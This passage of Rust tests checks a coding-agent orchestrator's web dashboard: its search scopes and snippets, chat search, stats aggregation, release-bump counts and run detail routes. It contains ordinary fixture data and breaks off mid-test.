13130
13131 #[test]
13132 fn snippet_ignores_terms_longer_than_the_field() {
13133 let terms = ["ok".to_owned(), "elephant".to_owned()];
13134 let parts = snippet_of("ok", &terms);
13135 assert_eq!(
13136 parts,
13137 vec![SnippetPart {
13138 text: "ok".to_owned(),
13139 hit: true
13140 }]
13141 );
13142 }
13143
13144 #[test]
13145 fn snippet_marks_matches_longer_than_the_window() {
13146 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
13147 let hit_len = |parts: &[SnippetPart]| -> usize {
13148 parts
13149 .iter()
13150 .filter(|p| p.hit)
13151 .map(|p| p.text.chars().count())
13152 .sum()
13153 };
13154 let total =
13155 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
13156
13157 let long = "a".repeat(120);
13158 let parts = snippet_of(&long, std::slice::from_ref(&long));
13159 assert!(hit_len(&parts) > 0, "{parts:?}");
13160 assert!(total(&parts) <= cap);
13161
13162 let ja = "あ".repeat(130);
13163 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
13164 assert!(hit_len(&parts) > 0, "{parts:?}");
13165 assert!(total(&parts) <= cap);
13166
13167 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
13169 let term = format!("ab{}", "c".repeat(100));
13170 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
13171 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
13172 assert!(total(&parts) <= cap);
13173
13174 let text = format!("{}z", "a".repeat(119));
13176 let parts = snippet_of(&text, &["a".repeat(120)]);
13177 assert_eq!(hit_len(&parts), 0, "{parts:?}");
13178 }
13179
13180 #[tokio::test]
13181 async fn search_caps_hits_and_snippet_length() {
13182 let f = Fixture::start().await;
13183 let runs = f.runs();
13184 for n in 0..(SEARCH_MAX_HITS + 5) {
13185 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
13186 }
13187 let v = f.get("/api/search?scope=runs&q=web").await.json();
13188 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
13189 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
13190 assert_eq!(v["truncated"], true);
13191 assert!(
13193 v["hits"]
13194 .as_array()
13195 .unwrap()
13196 .iter()
13197 .all(|h| h["run"]["status"] == "merged")
13198 );
13199
13200 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
13201 let parts = snippet_of(&long, &["needle".to_owned()]);
13202 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
13203 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
13204 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
13205 }
13206
13207 #[tokio::test]
13208 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
13209 let f = Fixture::start().await;
13210 let queue = f.queue();
13211 let mut t = Task::new(
13212 "short title".to_owned(),
13213 "line one\nthe hidden Armadillo detail".to_owned(),
13214 PathBuf::from("/repo/magi"),
13215 Source::Agent {
13216 run: "r1".to_owned(),
13217 node: "chat".to_owned(),
13218 },
13219 );
13220 t.last_error = Some("disk full on /tmp".to_owned());
13221 queue.put(&mut t).expect("file the task");
13222
13223 for (q, want) in [
13224 ("armadillo", 1),
13225 ("disk%20FULL", 1),
13226 ("chat", 1),
13227 ("queued", 1),
13228 ("short%20nothing", 0),
13229 ] {
13230 let v = f
13231 .get(&format!("/api/search?scope=tasks&q={q}"))
13232 .await
13233 .json();
13234 assert_eq!(v["total"], want, "{q}: {v}");
13235 }
13236 for bad in [
13237 "/api/search?scope=tasks&q=",
13238 "/api/search?scope=tasks&q=%20",
13239 "/api/search?scope=chats&q=",
13240 "/api/search?scope=chats&q=%20",
13241 "/api/search?scope=nope&q=a",
13242 "/api/search?q=a",
13243 ] {
13244 assert_eq!(f.get(bad).await.status, 400, "{bad}");
13245 }
13246 }
13247
13248 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
13250 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
13251 .expect("seat value");
13252 let turns: Vec<serde_json::Value> = turns
13253 .iter()
13254 .map(|(who, body)| {
13255 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
13256 })
13257 .collect();
13258 let doc = serde_json::json!({
13259 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
13260 "status": status, "turns": turns,
13261 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
13262 "seat": seat,
13263 });
13264 let dir = f.home.path().join("talks");
13265 std::fs::create_dir_all(&dir).expect("talks dir");
13266 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
13267 }
13268
13269 #[tokio::test]
13270 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
13271 let f = Fixture::start().await;
13272 write_talk(
13273 &f,
13274 "20260901-000001-aaaa",
13275 "open",
13276 &[
13277 (
13278 "operator",
13279 "\n Why does the Pangolin cache expire?\nsecond line",
13280 ),
13281 ("agent", "Because the TTL is thirty seconds."),
13282 ],
13283 );
13284 write_talk(
13285 &f,
13286 "20260901-000002-bbbb",
13287 "closed",
13288 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
13289 );
13290 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
13291
13292 let search = |q: &'static str| {
13293 let f = &f;
13294 async move {
13295 f.get(&format!("/api/search?scope=chats&q={q}"))
13296 .await
13297 .json()
13298 }
13299 };
13300
13301 let v = search("PANGOLIN").await;
13302 assert_eq!(v["scope"], "chats");
13303 assert_eq!(v["total"], 1, "{v}");
13304 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
13305 assert_eq!(v["hits"][0]["field"], "title");
13306 assert_eq!(v["unreadable"], 1, "{v}");
13307 let marked: Vec<&str> = v["hits"][0]["snippet"]
13308 .as_array()
13309 .unwrap()
13310 .iter()
13311 .filter(|p| p["hit"] == true)
13312 .map(|p| p["text"].as_str().unwrap())
13313 .collect();
13314 assert_eq!(marked, ["Pangolin"]);
13315
13316 let v = search("zebra").await;
13318 assert_eq!(v["total"], 1, "{v}");
13319 assert_eq!(v["hits"][0]["field"], "agent");
13320 assert_eq!(search("pangolin%20thirty").await["total"], 1);
13322 assert_eq!(search("pangolin%20zebra").await["total"], 0);
13323 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
13325 assert_eq!(search(q).await["total"], 0, "{q}");
13326 }
13327 assert_eq!(search("second").await["hits"][0]["field"], "operator");
13329 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
13331
13332 let v = f.get("/api/search?scope=nope&q=a").await;
13333 assert_eq!(v.status, 400);
13334 assert!(
13335 v.body.contains("scope must be runs, tasks or chats"),
13336 "{}",
13337 v.body
13338 );
13339 }
13340
13341 #[test]
13342 fn a_question_card_links_a_task_id_to_the_task_page() {
13343 let start = APP_JS
13344 .find("function updateAskCard(")
13345 .expect("updateAskCard exists");
13346 let body = &APP_JS[start..];
13347 let body = &body[..body.find("\n}\n").expect("function end")];
13348 assert!(body.contains("question.run_is_task"));
13349 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
13350 assert!(body.contains("`#/runs/${question.run}`"));
13351 assert!(body.contains("\"task\" : \"run\""));
13352 }
13353
13354 #[test]
13355 fn plain_text_message_surfaces_go_through_linkify() {
13356 assert!(APP_JS.contains("function linkify("));
13357 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
13358 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
13359 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
13360 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
13361 assert!(!APP_JS.contains("innerHTML = text"));
13362 }
13363
13364 #[test]
13365 fn implementation_rate_views_keep_independent_samples() {
13366 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
13367 let a = stats::AgentStats {
13368 competitive_entered: competitive_n,
13369 competitive_wins: usize::from(competitive_n > 0),
13370 solo_entered: solo_n,
13371 solo_adopted: 2 * usize::from(solo_n > 0),
13372 ..Default::default()
13373 };
13374 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
13375 for (key, n, numerator) in [
13376 ("competitive_win_rate", competitive_n, a.competitive_wins),
13377 ("solo_adoption_rate", solo_n, a.solo_adopted),
13378 ] {
13379 if n == 0 {
13380 assert!(v[key].is_null());
13381 } else {
13382 assert_eq!(v[key]["denominator"], n);
13383 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
13384 }
13385 }
13386 }
13387 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
13388 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
13389 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
13390 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13391 }
13392
13393 #[test]
13394 fn stats_bars_share_one_id_keyed_plan() {
13395 let start = APP_JS
13396 .find("function statsBarRows(")
13397 .expect("statsBarRows exists");
13398 let body = &APP_JS[start..];
13399 let body = &body[..body.find("\n}\n").expect("function end")];
13400 assert!(body.contains("statsBarPlan(rows)"));
13401 assert!(body.contains("statsAgentTone(row.agent)"));
13402 assert!(!body.contains("candTone(i)"));
13403 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13404 for root in [
13405 "stats-agents-bars",
13406 "stats-solo-bars",
13407 "stats-reviewers-bars",
13408 ] {
13409 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
13410 }
13411 }
13412
13413 #[test]
13414 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
13415 let start = APP_JS
13416 .find("function renderStatsReviewerScatter(")
13417 .expect("renderStatsReviewerScatter exists");
13418 let body = &APP_JS[start..];
13419 let body = &body[..body.find("\n}\n").expect("function end")];
13420 assert!(body.contains("statsScatterPlan(reviewers)"));
13421 assert!(body.contains("statsAgentTone(d.agent)"));
13422 assert!(APP_JS.contains("function statsScatterPlan("));
13423 assert!(
13424 APP_JS.contains("d.submitted < STATS_LOW_N")
13425 || APP_JS.contains("r.submitted < STATS_LOW_N")
13426 );
13427 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
13428 assert!(APP_CSS.contains(".precision-scatter"));
13429 }
13430
13431 #[test]
13432 fn advisor_reflection_is_drawn_as_stacked_segments() {
13433 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
13434 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
13435 let html = include_str!("../assets/ui/index.html");
13436 assert!(html.contains("Approximate"));
13437 for label in ["reflected strongly", "faint", "no proposal"] {
13438 assert!(html.contains(label));
13439 }
13440 let css = include_str!("../assets/ui/app.css");
13441 for c in ["refl-strong", "refl-faint", "refl-absent"] {
13442 assert!(css.contains(&format!(".{c} {{")));
13443 }
13444 }
13445
13446 #[test]
13447 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
13448 assert!(APP_JS.contains("function statsDailyPlan("));
13449 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
13450 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
13451 }
13452
13453 #[test]
13454 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
13455 let start = APP_JS
13456 .find("function scheduleSearch(")
13457 .expect("scheduleSearch exists");
13458 let body = &APP_JS[start..];
13459 let body = &body[..body.find("\n}\n").expect("function end")];
13460 assert!(body.contains("s.seq += 1"));
13461 }
13462
13463 #[tokio::test]
13468 async fn stats_runs_unreadable_matches_health() {
13469 let f = Fixture::start().await;
13470 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13471 let broken = f.runs().join("20260902-140502-bad");
13472 std::fs::create_dir_all(&broken).expect("run dir");
13473 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13474
13475 let stats = f.get("/api/stats").await;
13476 let health = f.get("/api/health").await;
13477
13478 assert_eq!(stats.status, 200);
13479 assert_eq!(stats.json()["totals"]["runs"], 1);
13480 assert_eq!(stats.json()["runs_unreadable"], 1);
13481 assert_eq!(
13482 stats.json()["runs_unreadable"],
13483 health.json()["runs_unreadable"],
13484 "the dashboard and /api/health must never disagree about how many \
13485 runs could not be read"
13486 );
13487 }
13488
13489 #[tokio::test]
13490 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
13491 let f = Fixture::start().await;
13492 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13493 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
13494 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
13495
13496 let totals = &f.get("/api/stats").await.json()["totals"];
13497 assert_eq!(totals["runs"], 3);
13498 assert_eq!(totals["merged"], 1);
13499 assert_eq!(totals["stalled"], 1);
13500 assert_eq!(totals["in_progress"], 1);
13501 assert_eq!(totals["blocked"], 0);
13504 assert_eq!(totals["ready"], 0);
13505 }
13506
13507 #[tokio::test]
13508 async fn stats_advisors_report_proposals_and_reflection() {
13509 use crate::advise::{Advice, AdvisorRecord, Reflection};
13510 use crate::verdict::Proposal;
13511
13512 let f = Fixture::start().await;
13513 let mut state = RunState::new(
13514 PathBuf::from("/repo/magi"),
13515 "main".to_owned(),
13516 "0123456789abcdef".to_owned(),
13517 "task".to_owned(),
13518 Config::default(),
13519 );
13520 state.id = "20260902-140501-a".to_owned();
13521 state.status = RunStatus::Merged;
13522 state.advice = Some(Advice {
13523 records: vec![
13524 AdvisorRecord {
13525 seat: "advisor-1".to_owned(),
13526 agent: "alpha".to_owned(),
13527 proposal: Some(Proposal {
13528 approach: "do it".to_owned(),
13529 key_tradeoff: "speed over memory".to_owned(),
13530 risks: Vec::new(),
13531 touches: Vec::new(),
13532 why_not_naive: "breaks under load".to_owned(),
13533 }),
13534 error: None,
13535 duration_ms: 0,
13536 reflection: Reflection::Strong,
13537 },
13538 AdvisorRecord {
13539 seat: "advisor-2".to_owned(),
13540 agent: "alpha".to_owned(),
13541 proposal: None,
13542 error: Some("timed out".to_owned()),
13543 duration_ms: 0,
13544 reflection: Reflection::Absent,
13545 },
13546 ],
13547 synthesis: Some("blended brief".to_owned()),
13548 });
13549 let dir = f.runs().join(&state.id);
13550 std::fs::create_dir_all(&dir).expect("run dir");
13551 std::fs::write(
13552 dir.join("run.json"),
13553 serde_json::to_string_pretty(&state).expect("serialize run"),
13554 )
13555 .expect("write run.json");
13556
13557 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
13559 let alpha = advisors
13560 .as_array()
13561 .expect("an array")
13562 .iter()
13563 .find(|a| a["agent"] == "alpha")
13564 .expect("alpha row");
13565 assert_eq!(alpha["seated"], 2);
13566 assert_eq!(alpha["proposed"], 1);
13567 assert_eq!(alpha["absent"], 1);
13568 assert_eq!(alpha["strong"], 1);
13569 assert_eq!(alpha["faint"], 0);
13570 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
13571 }
13572
13573 #[tokio::test]
13574 async fn stats_hides_agents_outside_the_roster_unless_all() {
13575 use crate::run::Candidate;
13576 let repo = TempDir::new().expect("repo dir");
13577 std::fs::write(
13578 repo.path().join("magi.toml"),
13579 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
13580 )
13581 .expect("magi.toml");
13582 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
13583 let mut state = RunState::new(
13584 PathBuf::from("/repo/magi"),
13585 "main".to_owned(),
13586 "0123456789abcdef".to_owned(),
13587 "task".to_owned(),
13588 Config::default(),
13589 );
13590 state.id = "20260902-140501-a".to_owned();
13591 state.status = RunStatus::Merged;
13592 for (label, agent) in [('A', "keep"), ('B', "retired")] {
13593 let mut c: Candidate = serde_json::from_value(serde_json::json!({
13594 "index": 0, "label": label.to_string(), "agent": agent,
13595 "branch": "b", "worktree": "/w",
13596 }))
13597 .expect("candidate");
13598 c.label = label;
13599 state.candidates.push(c);
13600 }
13601 let dir = f.runs().join(&state.id);
13602 std::fs::create_dir_all(&dir).expect("run dir");
13603 std::fs::write(
13604 dir.join("run.json"),
13605 serde_json::to_string_pretty(&state).expect("serialize run"),
13606 )
13607 .expect("write run.json");
13608
13609 let agents_of = |v: &serde_json::Value| -> Vec<String> {
13610 v["agents"]
13611 .as_array()
13612 .expect("array")
13613 .iter()
13614 .map(|a| a["agent"].as_str().unwrap().to_owned())
13615 .collect()
13616 };
13617 let hidden = f.get("/api/stats").await.json();
13618 assert_eq!(agents_of(&hidden), ["keep"]);
13619 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
13620 assert_eq!(hidden["totals"]["runs"], 1);
13621
13622 let all = f.get("/api/stats?all=true").await.json();
13623 assert_eq!(agents_of(&all).len(), 2);
13624 assert_eq!(all["retired_hidden"], serde_json::json!([]));
13625 let keep_agent = all["agents"]
13627 .as_array()
13628 .unwrap()
13629 .iter()
13630 .find(|a| a["agent"] == "keep")
13631 .unwrap();
13632 assert_eq!(keep_agent["competitive_entered"], 1);
13633 assert_eq!(keep_agent["competitive_wins"], 0);
13634 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
13635 assert_eq!(keep_agent["solo_entered"], 0);
13636 assert_eq!(keep_agent["solo_adopted"], 0);
13637 assert!(keep_agent["solo_adoption_rate"].is_null());
13638 }
13639
13640 #[tokio::test]
13641 async fn stats_release_bumps_split_clean_from_attention() {
13642 use crate::run::ReleaseBump;
13643
13644 let f = Fixture::start().await;
13645
13646 let mut clean = RunState::new(
13647 PathBuf::from("/repo/magi"),
13648 "main".to_owned(),
13649 "0123456789abcdef".to_owned(),
13650 "task".to_owned(),
13651 Config::default(),
13652 );
13653 clean.id = "20260902-140501-a".to_owned();
13654 clean.status = RunStatus::Merged;
13655 clean.release_bump = Some(ReleaseBump {
13656 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
13657 version: Some("1.0.0".to_owned()),
13658 automerge_enabled: true,
13659 merged_directly: false,
13660 local: false,
13661 release: None,
13662 problem: None,
13663 action_required: None,
13664 });
13665
13666 let mut blocked = RunState::new(
13667 PathBuf::from("/repo/magi"),
13668 "main".to_owned(),
13669 "0123456789abcdef".to_owned(),
13670 "task".to_owned(),
13671 Config::default(),
13672 );
13673 blocked.id = "20260902-140502-b".to_owned();
13674 blocked.status = RunStatus::Merged;
13675 blocked.release_bump = Some(ReleaseBump {
13676 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
13677 version: Some("1.0.1".to_owned()),
13678 automerge_enabled: false,
13679 merged_directly: false,
13680 local: false,
13681 release: None,
13682 problem: Some("checks red".to_owned()),
13683 action_required: Some("look at the PR".to_owned()),
13684 });
13685
13686 for state in [&clean, &blocked] {
13687 let dir = f.runs().join(&state.id);
13688 std::fs::create_dir_all(&dir).expect("run dir");
13689 std::fs::write(
13690 dir.join("run.json"),
13691 serde_json::to_string_pretty(state).expect("serialize run"),
13692 )
13693 .expect("write run.json");
13694 }
13695
13696 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13697 assert_eq!(bumps["merged"], 2);
13698 assert_eq!(bumps["recorded"], 2);
13699 assert_eq!(bumps["pr_opened"], 2);
13700 assert_eq!(bumps["automerge_enabled"], 1);
13701 assert_eq!(bumps["needs_attention"], 1);
13702 assert_eq!(bumps["clean"], 1);
13703 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
13704 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
13705 }
13706
13707 #[tokio::test]
13708 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
13709 let f = Fixture::start().await;
13710 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13711
13712 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13713 assert_eq!(bumps["merged"], 1);
13714 assert_eq!(bumps["recorded"], 0);
13715 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
13718 assert_eq!(bumps["automerge_rate"], Value::Null);
13721 assert_eq!(bumps["attention_rate"], Value::Null);
13722 }
13723
13724 #[tokio::test]
13725 async fn stats_queue_counts_come_from_the_live_queue() {
13726 let f = Fixture::start().await;
13727 let q = f.queue();
13728 let mut queued = Task::new(
13729 "queued task".to_owned(),
13730 "do it".to_owned(),
13731 PathBuf::from("/repo"),
13732 Source::Human,
13733 );
13734 q.put(&mut queued).expect("put queued");
13735 let mut held = Task::new(
13736 "held task".to_owned(),
13737 "do it later".to_owned(),
13738 PathBuf::from("/repo"),
13739 Source::Human,
13740 );
13741 held.hold_machine(Some("out of attempts".to_owned()));
13742 q.put(&mut held).expect("put held");
13743
13744 let queue = f.get("/api/stats").await.json()["queue"].clone();
13745 assert_eq!(queue["queued"], 1);
13746 assert_eq!(queue["held"], 1);
13747 assert_eq!(queue["running"], 0);
13748 assert_eq!(queue["done"], 0);
13749 assert_eq!(queue["failed"], 0);
13750 assert_eq!(queue["blocked"], 0);
13751 }
13752
13753 #[tokio::test]
13754 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
13755 let f = Fixture::start().await;
13756 let stats = f.get("/api/stats").await;
13757 assert_eq!(stats.status, 200);
13758 assert_eq!(stats.json()["totals"]["runs"], 0);
13759 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
13760 assert_eq!(stats.json()["runs_unreadable"], 0);
13761 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
13762 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
13763 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
13764 assert_eq!(stats.json()["repo"], Value::Null);
13765 }
13766
13767 #[tokio::test]
13768 async fn stats_lists_every_repository_with_runs_recorded() {
13769 let f = Fixture::start().await;
13770 write_run_repo(
13771 &f.runs(),
13772 "20260902-140501-a",
13773 RunStatus::Merged,
13774 "/repos/a",
13775 );
13776 write_run_repo(
13777 &f.runs(),
13778 "20260902-140502-b",
13779 RunStatus::Merged,
13780 "/repos/a",
13781 );
13782 write_run_repo(
13783 &f.runs(),
13784 "20260902-140503-c",
13785 RunStatus::Blocked,
13786 "/repos/b",
13787 );
13788
13789 let stats = f.get("/api/stats").await;
13790 assert_eq!(stats.status, 200);
13791 assert_eq!(stats.json()["totals"]["runs"], 3);
13793 assert_eq!(stats.json()["repo"], Value::Null);
13794
13795 let repos = stats.json()["repos"].clone();
13796 let repos = repos.as_array().unwrap();
13797 assert_eq!(repos.len(), 2);
13798 assert_eq!(repos[0]["repo"], "/repos/a");
13800 assert_eq!(repos[0]["name"], "a");
13801 assert_eq!(repos[0]["runs"], 2);
13802 assert_eq!(repos[1]["repo"], "/repos/b");
13803 assert_eq!(repos[1]["runs"], 1);
13804 }
13805
13806 #[tokio::test]
13807 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
13808 let f = Fixture::start().await;
13809 write_run_repo(
13810 &f.runs(),
13811 "20260902-140501-a",
13812 RunStatus::Merged,
13813 "/repos/a",
13814 );
13815 write_run_repo(
13816 &f.runs(),
13817 "20260902-140502-b",
13818 RunStatus::Blocked,
13819 "/repos/b",
13820 );
13821
13822 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
13823 assert_eq!(stats.status, 200);
13824 assert_eq!(stats.json()["totals"]["runs"], 1);
13825 assert_eq!(stats.json()["totals"]["merged"], 1);
13826 assert_eq!(stats.json()["repo"], "/repos/a");
13827 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
13830 assert_eq!(stats.json()["runs_unreadable"], 0);
13833 }
13834
13835 #[tokio::test]
13836 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
13837 let f = Fixture::start().await;
13838 write_run_repo(
13839 &f.runs(),
13840 "20260902-140501-a",
13841 RunStatus::Merged,
13842 "/repos/a",
13843 );
13844 write_run_repo(
13845 &f.runs(),
13846 "20260902-140502-b",
13847 RunStatus::Merged,
13848 "/repos/b",
13849 );
13850
13851 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
13852 let json = f.get(uri).await.json();
13853 let daily = json["daily"].as_array().expect("daily is an array");
13854 assert_eq!(daily.len(), 30);
13855 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
13856 let mut sorted = dates.clone();
13857 sorted.sort();
13858 assert_eq!(dates, sorted);
13859 for d in daily {
13860 assert_eq!(
13861 d["merged"].as_u64().unwrap()
13862 + d["ready"].as_u64().unwrap()
13863 + d["other"].as_u64().unwrap(),
13864 d["runs"].as_u64().unwrap()
13865 );
13866 }
13867 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
13868 }
13869 }
13870
13871 #[tokio::test]
13872 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
13873 let f = Fixture::start().await;
13874 write_run_repo(
13875 &f.runs(),
13876 "20260902-140501-a",
13877 RunStatus::Merged,
13878 "/repos/a",
13879 );
13880
13881 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
13882 assert_eq!(stats.status, 404);
13883 }
13884
13885 #[tokio::test]
13886 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
13887 let f = Fixture::start().await;
13888 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
13889
13890 let summary = f.get("/api/runs").await.json();
13891 let row = &summary[0];
13892 assert_eq!(row["short"], "a1b2");
13893 assert_eq!(row["status"], "ready");
13894 assert_eq!(row["done"], true);
13895 assert_eq!(row["title"], "Add a web UI");
13896 assert_eq!(row["repo_name"], "magi");
13897 assert_eq!(row["judges"], 3);
13898 assert_eq!(row["winner"], Value::Null);
13899 assert_eq!(row["reviews"], 0);
13900
13901 let detail = f.get("/api/runs/a1b2").await;
13904 assert_eq!(detail.status, 200);
13905 assert_eq!(detail.json()["base_branch"], "main");
13906 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
13907 }
13908
13909 #[tokio::test]
13917 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
13918 let f = Fixture::start().await;
13919
13920 let mut none_run = RunState::new(
13921 PathBuf::from("/repo/magi"),
13922 "main".to_owned(),
13923 "0123456789abcdef".to_owned(),
13924 "Add a web UI".to_owned(),
13925 Config::default(),
13926 );
13927 none_run.id = "20260902-140503-none".to_owned();
13928 none_run.status = RunStatus::Ready;
13929 none_run.merge = Some(crate::run::MergeOutcome {
13930 mode: crate::config::MergeMode::None,
13931 ok: true,
13932 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
13933 empty: false,
13934 });
13935 write_state(&f.runs(), &none_run);
13936
13937 let mut pr_run = RunState::new(
13938 PathBuf::from("/repo/magi"),
13939 "main".to_owned(),
13940 "0123456789abcdef".to_owned(),
13941 "Add a web UI".to_owned(),
13942 Config::default(),
13943 );
13944 pr_run.id = "20260902-140504-prcl".to_owned();
13945 pr_run.status = RunStatus::Ready;
13946 pr_run.merge = Some(crate::run::MergeOutcome {
13947 mode: crate::config::MergeMode::Pr,
13948 ok: false,
13949 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
13950 empty: false,
13951 });
13952 write_state(&f.runs(), &pr_run);
13953
13954 let summary = f.get("/api/runs").await.json();
13955 let rows: std::collections::HashMap<&str, &Value> = summary
13956 .as_array()
13957 .expect("an array")
13958 .iter()
13959 .map(|r| (r["id"].as_str().expect("an id"), r))
13960 .collect();
13961 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
13962 assert_eq!(
13963 rows[none_run.id.as_str()]["unmerged_by_design"],
13964 true,
13965 "a mode-none Ready must be flagged in the list"
13966 );
13967 assert_eq!(
13968 rows[pr_run.id.as_str()]["unmerged_by_design"],
13969 false,
13970 "a Ready reached by a closed pull request is a different case"
13971 );
13972
13973 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
13974 assert_eq!(none_detail["status"], "ready");
13975 assert_eq!(none_detail["unmerged_by_design"], true);
13976
13977 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
13978 assert_eq!(pr_detail["unmerged_by_design"], false);
13979 }
13980
13981 #[tokio::test]
13986 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
13987 let f = Fixture::start().await;
13988 let id = "20260902-140502-bbbb";
13992 let mut state = RunState::new(
13993 PathBuf::from("/repo/magi"),
13994 "main".to_owned(),
13995 "0123456789abcdef".to_owned(),
13996 "Add a web UI".to_owned(),
13997 Config::default(),
13998 );
13999 state.id = id.to_owned();
14000 state.status = RunStatus::Judging;
14001 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
14002 let dir = f.runs().join(id);
14003 std::fs::create_dir_all(&dir).expect("run dir");
14004 std::fs::write(
14005 dir.join("run.json"),
14006 serde_json::to_string_pretty(&state).expect("serialize run"),
14007 )
14008 .expect("write run.json");
14009
14010 let cold = f.get(&format!("/api/runs/{id}")).await.json();
14016 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
14017 assert_eq!(cold["live"], "unknown", "{cold}");
14018
14019 write_daemon(f.home.path(), Timestamp::now());
14022 let warm = f.get(&format!("/api/runs/{id}")).await.json();
14023 assert_eq!(warm["live"], "live", "{warm}");
14024 }
14025
14026 #[tokio::test]
14029 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
14030 let f = Fixture::start().await;
14031 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
14032 let mut state = RunState::new(
14033 PathBuf::from("/repo/magi"),
14034 "main".to_owned(),
14035 "0123456789abcdef".to_owned(),
14036 "Add a web UI".to_owned(),
14037 Config::default(),
14038 );
14039 state.id = id.to_owned();
14040 state.origin = origin;
14041 let mut value = serde_json::to_value(&state).expect("serialize run");
14042 if let Some(schema) = schema {
14043 value["schema"] = serde_json::json!(schema);
